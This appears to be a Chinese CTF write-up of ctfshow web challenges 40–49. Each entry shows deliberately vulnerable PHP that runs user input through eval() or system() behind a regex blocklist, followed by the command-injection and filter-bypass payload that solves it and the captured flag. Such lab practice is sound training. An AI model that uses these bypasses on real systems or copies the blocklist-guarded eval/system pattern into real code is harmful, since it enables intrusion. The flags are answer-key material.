web40

首先拿到的是以下php代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|`|\@|\#|\\$|\%|\"|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

然后会发现没有过滤英文字母和英文的()
然后构造payload：highlight_file(next(array_reverse(scandir(current(localeconv()))))) 完成。

web42

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date:       2020-09-05 20:49:30
# @Last Modified by:   hlxa
# @Last Modified time: 2020-09-05 21:3
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
} else {
    highlight_file(__FILE__);
}

过滤了cat，/,;

直接payload：tac f’la’g.php%0a

$flag=“ctfshow{b80050df-4901-493f-89c9-c4b6f7cd3791}

web43

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date:       2020-09-05 20:49:30
# @Last Modified by:   hlxa
# @Last Modified time: 2020-09-05 21:32:01
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/\;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
} else {
    highlight_file(__FILE__);
}

多过滤了个flag

老样子tac f’la’g.php%0a

$flag=“ctfshow{d6d2cf16-69f3-4532-adba-b6e659a02b8c}

web44

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date:       2020-09-05 20:49:30
# @Last Modified by:   hlxa
# @Last Modified time: 2020-09-05 21:35:34
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
} else {
    highlight_file(__FILE__);
}

空格被过滤了。

用tab绕过

构建payload：tac%09f’la’g.php%0a

$flag=“ctfshow{ab74882f-b8f2-487c-b1da-d96ae59b1d1f}

web46

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date:       2020-09-05 20:49:30
# @Last Modified by:   hlxa
# @Last Modified time: 2020-09-05 21:50:19
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/\;|cat|flag|[0-9]|\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
} else {
    highlight_file(__FILE__);
}

如果变量 $c 中不包含以下任意字符或字符串（不区分大小写）：

分号 ;
字符串 cat
字符串 flag
空格
任意数字 [0-9]
美元符号 $
星号 *

则执行system()

构造payload：c=tac%09f’la’g.php%0a

$flag=“ctfshow{104f49e6-528f-457e-8fac-201d0d7068b7}”;

web47

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了less,more,head,sort,tail,0-9,$,* 构建payload：tac%09f’la’g.php%0a

web49

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date:       2020-09-05 20:49:30
# @Last Modified by:   hlxa
# @Last Modified time: 2020-09-05 22:22:43
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/\;|cat|flag|[0-9]|\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\|%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
} else {
    highlight_file(__FILE__);
}

同上，构造payload：tac%09f’la’g.php%0a

ctfshow做题记录web40-web49

做题记录